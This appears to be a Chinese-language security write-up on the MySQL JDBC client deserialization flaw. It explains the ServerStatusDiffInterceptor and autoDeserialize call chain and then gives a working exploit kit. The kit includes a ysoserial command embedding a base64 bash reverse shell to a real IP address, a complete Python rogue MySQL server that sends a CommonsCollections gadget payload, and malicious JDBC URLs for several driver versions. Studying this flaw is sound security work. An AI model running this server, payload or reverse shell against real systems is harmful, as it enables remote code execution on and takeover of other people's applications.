JDBC
JDBC（Java DataBase Connectivity）即Java数据库连接，是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。
一般格式：
jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2例子：
String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库，实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据，rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));漏洞原理
如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。
因为JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞。
可被利用的两条查询语句：
- SHOW SESSION STATUS
- SHOW COLLATION
分析
com.mysql.cj.jdbc中相关函数来连接MySQL服务器时，会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数，而其中会调用readObject()函数执行反序列化操作
两个if分别判断是否为Binary或Blob格式数据、判断autoDeserialize属性值是否为true。这也是jdbc后两个参数的原因queryInterceptors和autoDeserialize
jdbc:mysql://62.204.54.54:10015/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true前面的调用链：
一开始是com.mysql.jdbc.Driver进行JDBC中的连接，其中会新建连接实例。连接后，接着设置对应的查询拦截器，对应的值就是我们在JDBC中设置的ServerStatusDiffInterceptor。
然后MySQL服务端来初始化Properties并执行相关的SQL语句，其中判断如果查询拦截器不为空则调用查询拦截器的ServerStatusDiffInterceptor#preProcess()函数:
public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) {
this.populateMapWithSessionStatusValues(this.preExecuteValues);
return null;
}preProcess其中调用populateMapWithSessionStatusValues()
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
Statement stmt = null;
ResultSet rs = null;
try {
try {
toPopulate.clear();
stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs); //------------
} finally {
if (rs != null) {
rs.close();
}
if (stmt != null) {
stmt.close();
}
}
} catch (SQLException var8) {
throw ExceptionFactory.createException(var8.getMessage(), var8);
}
}其中调用了resultSetToMap()
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}就到了ResultSetImpl#getObject().
其实执行SHOW SESSION STATUS之后，就调用了ResultSetUtil.resultSetToMap()函数,该函数中就调用了触发反序列化漏洞的getObject()函数
poc
恶意服务器：
用ysoserial生成payload文件java -jar ysoserial.jar CommonsCollections6 calc > payload
java -jar ysoserial-all.jar CommonsCollections6 'bash -c {echo,"YmFzaCAtaSA+JiAvZGV2L3RjcC82Mi4yMDQuNTQuNTQvMTAwMTMgMD4mMSAyPiYx"}|{base64,-d}|{bash,-i}' > payload# coding=utf-8
# python3
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 加了EOF Packet 就无法正常运行 怪
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 10015
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()再来个client
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://62.204.54.54:10015/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}不同 MySQL-JDBC-Driver 的 JDBC设置
ServerStatusDiffInterceptor触发点
8.x
上面就是用8.0.12分析的
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true6.x
属性名不同，queryInterceptors 换为 statementInterceptors
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true>=5.1.11的5.x
旧的驱动包名中没有cj
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true5.x <= 5.1.10
同上，连接到数据库后还需要额外执行查询
detectCustomCollations触发点
5.1.29 - 5.1.40
jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true